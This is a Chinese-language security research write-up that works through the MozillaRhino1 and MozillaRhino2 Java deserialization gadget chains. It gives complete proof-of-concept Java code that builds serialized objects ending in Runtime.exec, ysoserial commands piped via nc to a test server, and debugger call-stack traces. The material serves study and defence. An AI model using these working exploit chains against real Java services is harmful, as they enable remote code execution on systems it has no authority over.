标题: MozillaRhino反序列化利用链 创建: 2020-05-26 11:39 更新: 2020-07-22 20:09 链接: https://scz.617.cn/web/202005261139.txt -------------------------------------------------------------------------- 目录: ☆ 前言 ☆ Serializable接口详解 10) MozillaRhino反序列化漏洞 10.1) org.mozilla.javascript.NativeError 10.1.0) JacksonExploit.java 10.1.1) NativeErrorExec.java 10.1.2) 简化版调用关系 10.1.3) NativeErrorExec2.java 10.1.4) 调试器对被调试进程的挠动 10.1.5) ysoserial.payloads.MozillaRhino1 10.2) org.mozilla.javascript.NativeJavaObject 10.2.1) NativeJavaObjectExec.java 10.2.2) 简化版调用关系 10.2.3) ysoserial.payloads.MozillaRhino2 10.2.4) NativeJavaObjectExec6.java 10.2.5) CVE-2019-6980(Zimbra) ☆ 参考资源 -------------------------------------------------------------------------- ☆ 前言 本篇提供几个简版PoC以便调试分析MozillaRhino反序列化利用链。这大概是我见过 的最复杂的两条利用链,对于Matthias Kaiser、An Trinh(tint0)非常服气。 基本没写文字分析。因为我深知,几乎所有的文字分析都是写的人在那里自言自语自 嗨,只适合自己看,读的人要想整明白,需要的是完整的PoC及复现步骤,进而对之 展开动态调试。 最佳入手方式是,先把PoC跑通,然后打个断点: stop in java.lang.Runtime.exec(java.lang.String[]) 最后查看调用栈回溯中的各层代码。当然,这只是其中一部分,有许多数据准备工作 并不直接体现在前述调用栈回溯中,需要调试其他分支流程,去实践中领会精神吧。 ☆ Serializable接口详解 10) MozillaRhino反序列化漏洞 10.1) org.mozilla.javascript.NativeError 参[89],Matthias Kaiser这篇"Return of the Rhino"是我最早接触的Java反序列化 文章,大概是2019年11月。当时感觉每个字都认识,就是不知道在说啥,6个月后再 次看到它,重读了一遍,这次懂了,学习之路不易。 PoC用到如下库: js-1.7R2.jar js-1.6R7.jar 10.1.0) JacksonExploit.java 同CVE-2017-7525所用JacksonExploit.java,必须是AbstractTranslet的子类。 -------------------------------------------------------------------------- /* * javac -encoding GBK -g -XDignore.symbol.file JacksonExploit.java * * 为了抑制这个编译时警告,Java 8可以指定"-XDignore.symbol.file" * * warning: AbstractTranslet is internal proprietary API and may be removed in a future release */ import java.io.*; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; /* * 必须是public,否则不能成功执行命令 */ public class JacksonExploit extends AbstractTranslet { /* * 必须是public */ public JacksonExploit () { try { System.out.println( "scz is here" ); Runtime.getRuntime().exec( new String[] { "/bin/bash", "-c", "/bin/touch /tmp/scz_is_here" } ); } catch ( IOException e ) { e.printStackTrace(); } } /* * 必须重载这两个抽象方法,否则编译时报错 */ @Override public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) { } @Override public void transform ( DOM document, SerializationHandler[] handler ) { } } -------------------------------------------------------------------------- 10.1.1) NativeErrorExec.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.7R2.jar" NativeErrorExec.java */ import java.io.*; import java.lang.reflect.*; import javax.management.BadAttributeValueExpException; import java.nio.file.Files; import com.sun.org.apache.xalan.internal.xsltc.trax.*; import org.mozilla.javascript.*; public class NativeErrorExec { /* * 参看TemplatesImplExec.java */ private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception { byte[] evilbyte = Files.readAllBytes( ( new File( evilclass ) ).toPath() ); TemplatesImpl ti = new TemplatesImpl(); /* * 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让 * _bytecodes得到执行,中途就会抛异常。 */ Field _bytecodes = TemplatesImpl.class.getDeclaredField( "_bytecodes" ); _bytecodes.setAccessible( true ); _bytecodes.set( ti, new byte[][] { evilbyte } ); Field _tfactory = TemplatesImpl.class.getDeclaredField( "_tfactory" ); _tfactory.setAccessible( true ); _tfactory.set( ti, new TransformerFactoryImpl() ); Field _name = TemplatesImpl.class.getDeclaredField( "_name" ); _name.setAccessible( true ); /* * 第二形参可以是任意字符串,比如空串,但不能是null */ _name.set( ti, "" ); return( ti ); } /* end of getTemplatesImpl */ /* * 返回待序列化Object */ @SuppressWarnings("unchecked") private static Object getObject ( String evilclass ) throws Exception { /* * 不是public类,没法import */ Class clz_NativeError = Class.forName( "org.mozilla.javascript.NativeError" ); Constructor cons_NativeError = clz_NativeError.getDeclaredConstructor(); cons_NativeError.setAccessible( true ); /* * NativeError实例 */ ScriptableObject ne = ( ScriptableObject )cons_NativeError.newInstance(); Method m_enter = Context.class.getDeclaredMethod( "enter" ); /* * 设置 * * org.mozilla.javascript.MemberBox.memberObject * org.mozilla.javascript.NativeJavaMethod.methods[0] * org.mozilla.javascript.NativeJavaMethod.functionName */ NativeJavaMethod njm_enter = new NativeJavaMethod( m_enter, "name" ); /* * 用njm_enter设置 * * org.mozilla.javascript.ScriptableObject$GetterSlot.getter * * 对应"name" * * 这次只是占坑,后面会用mb_enter替换掉njm_enter */ ne.setGetterOrSetter( "name", 0, njm_enter, false ); /* * private方法,不能直接调用 */ Method m_getSlot = ScriptableObject.class.getDeclaredMethod ( "getSlot", String.class, int.class, int.class ); m_getSlot.setAccessible( true ); /* * SLOT_QUERY = 1 */ Object slot = m_getSlot.invoke( ne, "name", 0, 1 ); Field f_getter = slot.getClass().getDeclaredField( "getter" ); f_getter.setAccessible( true ); /* * 无法直接import */ Class clz_MemberBox = Class.forName( "org.mozilla.javascript.MemberBox" ); Constructor cons_MemberBox = clz_MemberBox.getDeclaredConstructor( Method.class ); cons_MemberBox.setAccessible( true ); Object mb_enter = cons_MemberBox.newInstance( m_enter ); /* * 用mb_enter设置 * * org.mozilla.javascript.ScriptableObject$GetterSlot.getter * * 对应"name" */ f_getter.set( slot, mb_enter ); Method m_newTransformer = TemplatesImpl.class.getDeclaredMethod( "newTransformer" ); NativeJavaMethod njm_newTransformer = new NativeJavaMethod( m_newTransformer, "message" ); /* * 用njm_newTransformer设置 * * org.mozilla.javascript.ScriptableObject$GetterSlot.getter * * 对应"message" * * 注意存在 * * org.mozilla.javascript.ScriptableObject.slots[] * * 第一形参name不同,对应不同的slot */ ne.setGetterOrSetter( "message", 0, njm_newTransformer, false ); TemplatesImpl ti = getTemplatesImpl( evilclass ); Context context = Context.enter(); /* * 参看 * * org.mozilla.javascript.ScriptRuntime.initStandardObjects() * * 下面这个强制类型转换成立,不要被函数原型中的返回值类型迷惑 */ NativeObject no = ( NativeObject )context.initStandardObjects(); NativeJavaObject njo = new NativeJavaObject( no, ti, TemplatesImpl.class ); /* * 用njo设置 * * org.mozilla.javascript.ScriptableObject.prototypeObject */ ne.setPrototype( njo ); BadAttributeValueExpException bave = new BadAttributeValueExpException( null ); Field f_val = bave.getClass().getDeclaredField( "val" ); f_val.setAccessible( true ); f_val.set( bave, ne ); return( bave ); } /* end of getObject */ public static void main ( String[] argv ) throws Exception { String evilclass = argv[0]; Object obj = getObject( evilclass ); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream( bos ); oos.writeObject( obj ); ByteArrayInputStream bis = new ByteArrayInputStream( bos.toByteArray() ); ObjectInputStream ois = new ObjectInputStream( bis ); ois.readObject(); } } -------------------------------------------------------------------------- java \ -cp "js-1.7R2.jar:." \ NativeErrorExec JacksonExploit.class 抛出异常,但恶意代码已被执行。 JacksonExploit.class来自JacksonExploit.java。此次示例没有动用Javassist之类 的东西动态生成JacksonExploit.class的等价物,萝卜白菜各有所爱,我不喜欢。 10.1.2) 简化版调用关系 -------------------------------------------------------------------------- ObjectInputStream.readObject // 8u232+1.7R2 BadAttributeValueExpException.readObject // ObjectStreamClass:1170 NativeError.toString // BadAttributeValueExpException:86 // this.val = valObj.toString() // 此处开始NativeError利用链 NativeError.js_toString // NativeError:110 NativeError.getString // NativeError:150 // getString(thisObj, "name") ScriptableObject.getProperty // NativeError:198 IdScriptableObject.get // ScriptableObject:1617 ScriptableObject.get // IdScriptableObject:387 ScriptableObject.getImpl // ScriptableObject:287 MemberBox.invoke // ScriptableObject:2020 // nativeGetter.invoke(getterThis, args) MemberBox.method // MemberBox:158 // method = method() return (Method)this.memberObject // MemberBox:91 Method.invoke // MemberBox:161 // method.invoke(target, args) Context.enter NativeError.getString // NativeError:150 // getString(thisObj, "message") ScriptableObject.getProperty // NativeError:198 IdScriptableObject.get // ScriptableObject:1617 ScriptableObject.get // IdScriptableObject:387 ScriptableObject.getImpl // ScriptableObject:287 // 此处与Matthias Kaiser原文不严格对应,但基本意思没变 Context.getContext // ScriptableObject:2023 // cx = Context.getContext() // 如果前面没有执行Context.enter(),此函数中会抛异常 NativeJavaMethod.call // ScriptableObject:2024 // f.call(cx, f.getParentScope(), start, ScriptRuntime.emptyArgs) MemberBox meth = this.methods[index] // NativeJavaMethod:169 ScriptableObject.getPrototype // NativeJavaMethod:240 // o = o.getPrototype() return this.prototypeObject // ScriptableObject:627 if ((o instanceof Wrapper)) // NativeJavaMethod:234 // o此时是NativeJavaObject实例,后者实现了Wrapper接口 NativeJavaObject.unwrap // NativeJavaMethod:235 // javaObject = ((Wrapper)o).unwrap() return this.javaObject // NativeJavaObject:188 // this.javaObject此时是TemplatesImpl实例 MemberBox.invoke // NativeJavaMethod:247 // retval = meth.invoke(javaObject, args) // meth是MemberBox实例,封装了TemplatesImpl.newTransformer() MemberBox.method // MemberBox:158 // method = method() return (Method)this.memberObject // MemberBox:91 Method.invoke // MemberBox:161 // method.invoke(target, args) TemplatesImpl.newTransformer // 此处开始TemplatesImpl利用链 // 由Adam Gowdiak最早提出 -------------------------------------------------------------------------- MozillaRhino1、MozillaRhino2两条利用链属于我看过的利用链中最复杂的那一批。 Matthias Kaiser、An Trinh(tint0)对MozillaRhino太熟悉。 10.1.3) NativeErrorExec2.java 参[90],Twings对Matthias Kaiser的数据准备方案做了一处微小改动,前者没有调 用Context.enter()、Context.initStandardObjects(),这个改动很赞。 -------------------------------------------------------------------------- /* * javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.7R2.jar" NativeErrorExec2.java */ import java.io.*; import java.lang.reflect.*; import javax.management.BadAttributeValueExpException; import java.nio.file.Files; import com.sun.org.apache.xalan.internal.xsltc.trax.*; import org.mozilla.javascript.*; public class NativeErrorExec2 { ... /* * 返回待序列化Object */ @SuppressWarnings("unchecked") private static Object getObject ( String evilclass ) throws Exception { ... /* * 占坑用 */ ScriptableObject ne2 = ( ScriptableObject )cons_NativeError.newInstance(); ( new ClassCache() ).associate( ne2 ); NativeJavaObject njo = new NativeJavaObject( ne2, ti, TemplatesImpl.class ); /* * 用njo设置 * * org.mozilla.javascript.ScriptableObject.prototypeObject */ ne.setPrototype( njo ); ... } /* end of getObject */ ... } -------------------------------------------------------------------------- 10.1.4) 调试器对被调试进程的挠动 java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "js-1.7R2.jar:." \ NativeErrorExec JacksonExploit.class jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in org.mozilla.javascript.NativeJavaMethod.call main[1] wherei [1] org.mozilla.javascript.NativeJavaMethod.call (NativeJavaMethod.java:157), pc = 0 [2] org.mozilla.javascript.ScriptableObject.getImpl (ScriptableObject.java:2,024), pc = 135 [3] org.mozilla.javascript.ScriptableObject.get (ScriptableObject.java:287), pc = 4 [4] org.mozilla.javascript.IdScriptableObject.get (IdScriptableObject.java:387), pc = 58 [5] org.mozilla.javascript.ScriptableObject.getProperty (ScriptableObject.java:1,617), pc = 5 [6] org.mozilla.javascript.NativeError.getString (NativeError.java:198), pc = 2 [7] org.mozilla.javascript.NativeError.js_toString (NativeError.java:150), pc = 24 [8] org.mozilla.javascript.NativeError.toString (NativeError.java:110), pc = 1 [9] javax.management.BadAttributeValueExpException.readObject (BadAttributeValueExpException.java:86), pc = 97 [10] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [11] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [12] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [13] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [14] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [15] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [16] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [17] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [18] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [19] NativeErrorExec.main (NativeErrorExec.java:156), pc = 59 main[1] clear org.mozilla.javascript.NativeJavaMethod.call main[1] up 4 main[5] print obj 你会发现"print obj"、"print start"导致目标JVM输出"scz is here"。如果前面没 有清除NativeJavaMethod.call()处的断点,执行"print obj"、"print start"会再 次命中NativeJavaMethod.call()处的断点: main[1] wherei [1] org.mozilla.javascript.NativeJavaMethod.call (NativeJavaMethod.java:157), pc = 0 [2] org.mozilla.javascript.ScriptableObject.getImpl (ScriptableObject.java:2,024), pc = 135 [3] org.mozilla.javascript.ScriptableObject.get (ScriptableObject.java:287), pc = 4 [4] org.mozilla.javascript.IdScriptableObject.get (IdScriptableObject.java:387), pc = 58 [5] org.mozilla.javascript.ScriptableObject.getProperty (ScriptableObject.java:1,617), pc = 5 [6] org.mozilla.javascript.NativeError.getString (NativeError.java:198), pc = 2 [7] org.mozilla.javascript.NativeError.js_toString (NativeError.java:150), pc = 24 [8] org.mozilla.javascript.NativeError.toString (NativeError.java:110), pc = 1 [9] org.mozilla.javascript.NativeJavaMethod.call (NativeJavaMethod.java:157), pc = 0 [10] org.mozilla.javascript.ScriptableObject.getImpl (ScriptableObject.java:2,024), pc = 135 [11] org.mozilla.javascript.ScriptableObject.get (ScriptableObject.java:287), pc = 4 [12] org.mozilla.javascript.IdScriptableObject.get (IdScriptableObject.java:387), pc = 58 [13] org.mozilla.javascript.ScriptableObject.getProperty (ScriptableObject.java:1,617), pc = 5 [14] org.mozilla.javascript.NativeError.getString (NativeError.java:198), pc = 2 [15] org.mozilla.javascript.NativeError.js_toString (NativeError.java:150), pc = 24 [16] org.mozilla.javascript.NativeError.toString (NativeError.java:110), pc = 1 [17] javax.management.BadAttributeValueExpException.readObject (BadAttributeValueExpException.java:86), pc = 97 [18] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [19] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [20] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [21] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [22] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [23] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [24] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [25] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [26] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [27] NativeErrorExec.main (NativeErrorExec.java:156), pc = 59 "print obj"会调用NativeError.toString(),会再次触发NativeError利用链。如果 用Eclipse等GUI工具调试,查看调用栈回溯时,一旦选中obj、start这些变量,立即 触发obj.toString(),比jdb更坑爹。 10.1.5) ysoserial.payloads.MozillaRhino1 参[52] https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/MozillaRhino1.java 这是Matthias Kaiser提供的。 java \ -cp "js-1.7R2.jar:." \ VulnerableServer 192.168.65.23 1314 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar MozillaRhino1 \ '/bin/touch /tmp/scz_is_here' \ | nc -n 192.168.65.23 1314 抛出异常,但恶意代码已被执行。 10.2) org.mozilla.javascript.NativeJavaObject 10.2.1) NativeJavaObjectExec.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.7R2.jar" NativeJavaObjectExec.java */ import java.io.*; import java.lang.reflect.*; import sun.reflect.ReflectionFactory; import java.nio.file.Files; import com.sun.org.apache.xalan.internal.xsltc.trax.*; import org.mozilla.javascript.*; import org.mozilla.javascript.tools.shell.Environment; public class NativeJavaObjectExec { /* * 参看TemplatesImplExec.java */ private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception { byte[] evilbyte = Files.readAllBytes( ( new File( evilclass ) ).toPath() ); TemplatesImpl ti = new TemplatesImpl(); /* * 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让 * _bytecodes得到执行,中途就会抛异常。 */ Field _bytecodes = TemplatesImpl.class.getDeclaredField( "_bytecodes" ); _bytecodes.setAccessible( true ); _bytecodes.set( ti, new byte[][] { evilbyte } ); Field _tfactory = TemplatesImpl.class.getDeclaredField( "_tfactory" ); _tfactory.setAccessible( true ); _tfactory.set( ti, new TransformerFactoryImpl() ); Field _name = TemplatesImpl.class.getDeclaredField( "_name" ); _name.setAccessible( true ); /* * 第二形参可以是任意字符串,比如空串,但不能是null */ _name.set( ti, "" ); return( ti ); } /* end of getTemplatesImpl */ /* * 返回待序列化Object */ @SuppressWarnings("unchecked") private static Object getObject ( String evilclass ) throws Exception { Method m_enter = Context.class.getDeclaredMethod( "enter" ); /* * 无法直接import */ Class clz_MemberBox = Class.forName( "org.mozilla.javascript.MemberBox" ); Constructor cons_MemberBox = clz_MemberBox.getDeclaredConstructor( Method.class ); cons_MemberBox.setAccessible( true ); Object mb_enter = cons_MemberBox.newInstance( m_enter ); Method m_accessSlot = ScriptableObject.class.getDeclaredMethod ( "accessSlot", String.class, int.class, int.class ); m_accessSlot.setAccessible( true ); /* * public类,可以直接import */ ScriptableObject env_0 = ( ScriptableObject )new Environment(); /* * 参org.mozilla.javascript.ScriptableObject * * SLOT_QUERY = 1 * SLOT_MODIFY = 2 * SLOT_MODIFY_GETTER_SETTER = 4 * * 与MozillaRhino1不同,MozillaRhino2没有调用setGetterOrSetter()占 * 坑,而是调用accessSlot()占坑 */ Object slot = m_accessSlot.invoke( env_0, "foo", 0, 4 ); Field f_getter = slot.getClass().getDeclaredField( "getter" ); f_getter.setAccessible( true ); /* * 用mb_enter设置 * * org.mozilla.javascript.ScriptableObject$GetterSlot.getter * * 对应"foo" */ f_getter.set( slot, mb_enter ); /* * 占坑用 */ ScriptableObject env_dummy = ( ScriptableObject )new Environment(); /* * 没有用tint0的方案,此处用了Twings的方案,后者简洁明了 */ ( new ClassCache() ).associate( env_dummy ); NativeJavaObject njo_0 = new NativeJavaObject( env_dummy, env_0, Environment.class, true ); Method m_writeAdapterObject = NativeJavaObjectExec.class.getDeclaredMethod ( "PrivateWriteAdapterObject", Object.class, ObjectOutputStream.class ); Field f_writeAdapterObject = NativeJavaObject.class.getDeclaredField( "adapter_writeAdapterObject" ); f_writeAdapterObject.setAccessible( true ); /* * 反序列化时NativeJavaObject.adapter_readAdapterObject被设置成 * * org.mozilla.javascript.JavaAdapter.readAdapterObject() * * 至此序列化出去的njo_0在反序列化时会触发Context.enter() */ f_writeAdapterObject.set( njo_0, m_writeAdapterObject ); ScriptableObject env_1 = ( ScriptableObject )new Environment(); /* * 用env_1封装njo_0,就是找个成员变量存放njo_0 * * 设置this.parentScopeObject */ env_1.setParentScope( njo_0 ); /* * SLOT_MODIFY = 2 */ m_accessSlot.invoke( env_1, "outputProperties", 0, 2 ); TemplatesImpl ti = getTemplatesImpl( evilclass ); /* * NativeJavaArray是NativeJavaObject的子类。 * * 此处用了ysoserial.payloads.JRMPListener展示过的一个技巧,调用父 * 类构造函数生成子类实例。我不喜欢tint0原来的实现。 */ Constructor cons_NativeJavaObject = NativeJavaObject.class.getDeclaredConstructor ( Scriptable.class, Object.class, Class.class ); Constructor cons_NativeJavaArray = ReflectionFactory.getReflectionFactory().newConstructorForSerialization ( NativeJavaArray.class, cons_NativeJavaObject ); NativeJavaArray nja = ( NativeJavaArray )cons_NativeJavaArray.newInstance ( env_dummy, ti, TemplatesImpl.class ); /* * 用nja封装env_1,就是找个成员变量存放env_1 * * 设置this.prototype */ nja.setPrototype( env_1 ); NativeJavaObject njo_1 = new NativeJavaObject( env_dummy, nja, NativeJavaArray.class, true ); f_writeAdapterObject.set( njo_1, m_writeAdapterObject ); return( njo_1 ); } /* end of getObject */ /* * 必须是public的,否则序列化时就抛异常。参看 * * org.mozilla.javascript.JavaAdapter.writeAdapterObject() */ public static void PrivateWriteAdapterObject ( Object javaObject, ObjectOutputStream out ) throws IOException { out.writeObject( "java.lang.Object" ); out.writeObject( new String[0] ); out.writeObject( javaObject ); } public static void main ( String[] argv ) throws Exception { String evilclass = argv[0]; Object obj = getObject( evilclass ); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream( bos ); oos.writeObject( obj ); ByteArrayInputStream bis = new ByteArrayInputStream( bos.toByteArray() ); ObjectInputStream ois = new ObjectInputStream( bis ); ois.readObject(); } } -------------------------------------------------------------------------- java \ -cp "js-1.7R2.jar:." \ NativeJavaObjectExec JacksonExploit.class 抛出异常,但恶意代码已被执行。 10.2.2) 简化版调用关系 感觉MozillaRhino2比MozillaRhino1更复杂,尤其当你想搞清楚来龙去脉时。 -------------------------------------------------------------------------- ObjectInputStream.readObject // 8u232+1.7R2 // 读njo_1 NativeJavaObject.readObject // ObjectStreamClass:1170 JavaAdapter.readAdapterObject // NativeJavaObject:940 ObjectInputStream.readObject // JavaAdapter:260 NativeJavaObject.readObject // NativeJavaArray是NativeJavaObject的子类 ObjectInputStream.defaultReadObject // NativeJavaObject:932 ScriptableObject.readObject // this是Environment实例,对应env_1 ObjectInputStream.defaultReadObject // ScriptableObject:2496 NativeJavaObject.readObject // this是NativeJavaObject实例,对应njo_0 JavaAdapter.readAdapterObject // NativeJavaObject:940 ObjectInputStream.readObject // JavaAdapter:260 // 读env_0 JavaAdapter.getAdapterClass // JavaAdapter:262 JavaAdapter.getObjectFunctionNames // JavaAdapter:311 ScriptableObject.getProperty // JavaAdapter:290 Environment.get // ScriptableObject:1617 ScriptableObject.get // Environment:104 ScriptableObject.getImpl // ScriptableObject:287 MemberBox.invoke // ScriptableObject:2020 Method.invoke // MemberBox:161 Context.enter ObjectInputStream.readObject // NativeJavaObject:945 // 读ti,设置nja.javaObject JavaAdapter.getAdapterClass // JavaAdapter:262 JavaAdapter.getObjectFunctionNames // JavaAdapter:311 ScriptableObject.getProperty // JavaAdapter:290 NativeJavaArray.get // ScriptableObject:1617 NativeJavaObject.get // NativeJavaArray:99 JavaMembers.get // NativeJavaObject:113 MemberBox.invoke // JavaMembers:118 Method.invoke // MemberBox:161 TemplatesImpl.getOutputProperties TemplatesImpl.newTransformer // TemplatesImpl:507 // 此处开始TemplatesImpl利用链 // 由Adam Gowdiak最早提出 -------------------------------------------------------------------------- JavaAdapter.getAdapterClass()、ScriptableObject.getProperty()会触发 Method.invoke()。 NativeJavaObject.、NativeJavaObject.readObject()中均会调用 NativeJavaObject.initMembers()。 10.2.3) ysoserial.payloads.MozillaRhino2 参[52] https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/MozillaRhino2.java 这是An Trinh(tint0)提供的。 java \ -cp "js-1.7R2.jar:." \ VulnerableServer 192.168.65.23 1314 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar MozillaRhino2 \ '/bin/touch /tmp/scz_is_here' \ | nc -n 192.168.65.23 1314 抛出异常,但恶意代码已被执行。 10.2.4) NativeJavaObjectExec6.java tint0说MozillaRhino2利用链适用于1.6R6及以上版本,本小节用1.6R7测试。 -------------------------------------------------------------------------- /* * javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.6R7.jar" NativeJavaObjectExec6.java */ import java.io.*; import java.util.*; import java.lang.reflect.*; import sun.reflect.ReflectionFactory; import java.nio.file.Files; import com.sun.org.apache.xalan.internal.xsltc.trax.*; import org.mozilla.javascript.*; import org.mozilla.javascript.tools.shell.Environment; public class NativeJavaObjectExec6 { /* * 参看TemplatesImplExec.java */ private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception { byte[] evilbyte = Files.readAllBytes( ( new File( evilclass ) ).toPath() ); TemplatesImpl ti = new TemplatesImpl(); /* * 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让 * _bytecodes得到执行,中途就会抛异常。 */ Field _bytecodes = TemplatesImpl.class.getDeclaredField( "_bytecodes" ); _bytecodes.setAccessible( true ); _bytecodes.set( ti, new byte[][] { evilbyte } ); Field _tfactory = TemplatesImpl.class.getDeclaredField( "_tfactory" ); _tfactory.setAccessible( true ); _tfactory.set( ti, new TransformerFactoryImpl() ); Field _name = TemplatesImpl.class.getDeclaredField( "_name" ); _name.setAccessible( true ); /* * 第二形参可以是任意字符串,比如空串,但不能是null */ _name.set( ti, "" ); return( ti ); } /* end of getTemplatesImpl */ /* * 返回待序列化Object */ @SuppressWarnings("unchecked") private static Object getObject ( String evilclass ) throws Exception { Method m_enter = Context.class.getDeclaredMethod( "enter" ); /* * 无法直接import */ Class clz_MemberBox = Class.forName( "org.mozilla.javascript.MemberBox" ); Constructor cons_MemberBox = clz_MemberBox.getDeclaredConstructor( Method.class ); cons_MemberBox.setAccessible( true ); Object mb_enter = cons_MemberBox.newInstance( m_enter ); Method m_accessSlot = ScriptableObject.class.getDeclaredMethod ( "accessSlot", String.class, int.class, int.class ); m_accessSlot.setAccessible( true ); /* * public类,可以直接import */ ScriptableObject env_0 = ( ScriptableObject )new Environment(); /* * 参org.mozilla.javascript.ScriptableObject * * SLOT_QUERY = 1 * SLOT_MODIFY = 2 * SLOT_MODIFY_GETTER_SETTER = 4 * * 与MozillaRhino1不同,MozillaRhino2没有调用setGetterOrSetter()占 * 坑,而是调用accessSlot()占坑 */ Object slot = m_accessSlot.invoke( env_0, "foo", 0, 4 ); Field f_getter = slot.getClass().getDeclaredField( "getter" ); f_getter.setAccessible( true ); /* * 用mb_enter设置 * * org.mozilla.javascript.ScriptableObject$GetterSlot.getter * * 对应"foo" */ f_getter.set( slot, mb_enter ); /* * 占坑用 */ ScriptableObject env_dummy = ( ScriptableObject )new Environment(); /* * 这是Twings的方案,简洁明了 */ ( new ClassCache() ).associate( env_dummy ); /* * 这是tint0的方案,测试可用 */ // Map associatedValues = new Hashtable(); // associatedValues.put( "ClassCache", new ClassCache() ); // Field f_associatedValues = ScriptableObject.class.getDeclaredField( "associatedValues" ); // f_associatedValues.setAccessible( true ); // f_associatedValues.set( env_dummy, associatedValues ); Method m_writeAdapterObject = NativeJavaObjectExec6.class.getDeclaredMethod ( "PrivateWriteAdapterObject", Object.class, ObjectOutputStream.class ); NativeJavaObject njo_0 = PrivateInitNativeJavaObject ( env_dummy, env_0, true, m_writeAdapterObject ); ScriptableObject env_1 = ( ScriptableObject )new Environment(); /* * 用env_1封装njo_0,就是找个成员变量存放njo_0 * * 设置this.parentScopeObject */ env_1.setParentScope( njo_0 ); /* * SLOT_MODIFY = 2 */ m_accessSlot.invoke( env_1, "outputProperties", 0, 2 ); TemplatesImpl ti = getTemplatesImpl( evilclass ); NativeJavaArray nja = PrivateInitNativeJavaArray ( env_dummy, ti, env_1 ); NativeJavaObject njo_1 = PrivateInitNativeJavaObject ( env_dummy, nja, true, m_writeAdapterObject ); return( njo_1 ); } /* end of getObject */ private static NativeJavaArray PrivateInitNativeJavaArray ( Scriptable parent, Object javaObject, Scriptable prototype ) throws Exception { Constructor cons_Object = Object.class.getDeclaredConstructor(); Constructor cons_NativeJavaArray = ReflectionFactory.getReflectionFactory().newConstructorForSerialization ( NativeJavaArray.class, cons_Object ); NativeJavaArray nja = ( NativeJavaArray )cons_NativeJavaArray.newInstance(); Field f_parent = NativeJavaObject.class.getDeclaredField( "parent" ); Field f_javaObject = NativeJavaObject.class.getDeclaredField( "javaObject" ); Field f_prototype = NativeJavaArray.class.getDeclaredField( "prototype" ); f_parent.setAccessible( true ); f_javaObject.setAccessible( true ); f_prototype.setAccessible( true ); f_parent.set( nja, parent ); f_javaObject.set( nja, javaObject ); /* * 对于1.6R7,NativeJavaObject、NativeJavaArray各有自己的成员 * prototype,必须同时设置它们,这是个坑。 * * 对于1.7R2,NativeJavaArray没有重载成员prototype,无此问题。 * * 设置子类NativeJavaArray.prototype * * 若未设置,将来NativeJavaArray.getPrototype()不会返回env_1 */ f_prototype.set( nja, prototype ); /* * 设置父类NativeJavaObject.prototype * * 若未设置,反序列化时有如下调用关系: * * NativeJavaObject.initMembers * JavaMembers.lookupClass * JavaMembers. * Context.getContext * Context.getCurrentContext * return null * throw new RuntimeException("No Context associated with current Thread") * * 这个异常被捕获,不会直接抛到最外层,所以看不到提示信息 */ nja.setPrototype( prototype ); return( nja ); } private static NativeJavaObject PrivateInitNativeJavaObject ( Scriptable parent, Object javaObject, boolean isAdapter, Method writeAdapterObject ) throws Exception { NativeJavaObject njo = new NativeJavaObject(); Field f_parent = NativeJavaObject.class.getDeclaredField( "parent" ); Field f_javaObject = NativeJavaObject.class.getDeclaredField( "javaObject" ); Field f_isAdapter = NativeJavaObject.class.getDeclaredField( "isAdapter" ); Field f_writeAdapterObject = NativeJavaObject.class.getDeclaredField( "adapter_writeAdapterObject" ); f_parent.setAccessible( true ); f_javaObject.setAccessible( true ); f_isAdapter.setAccessible( true ); f_writeAdapterObject.setAccessible( true ); f_parent.set( njo, parent ); f_javaObject.set( njo, javaObject ); f_isAdapter.set( njo, isAdapter ); f_writeAdapterObject.set( njo, writeAdapterObject ); return( njo ); } /* * 必须是public的,否则序列化时就抛异常。参看 * * 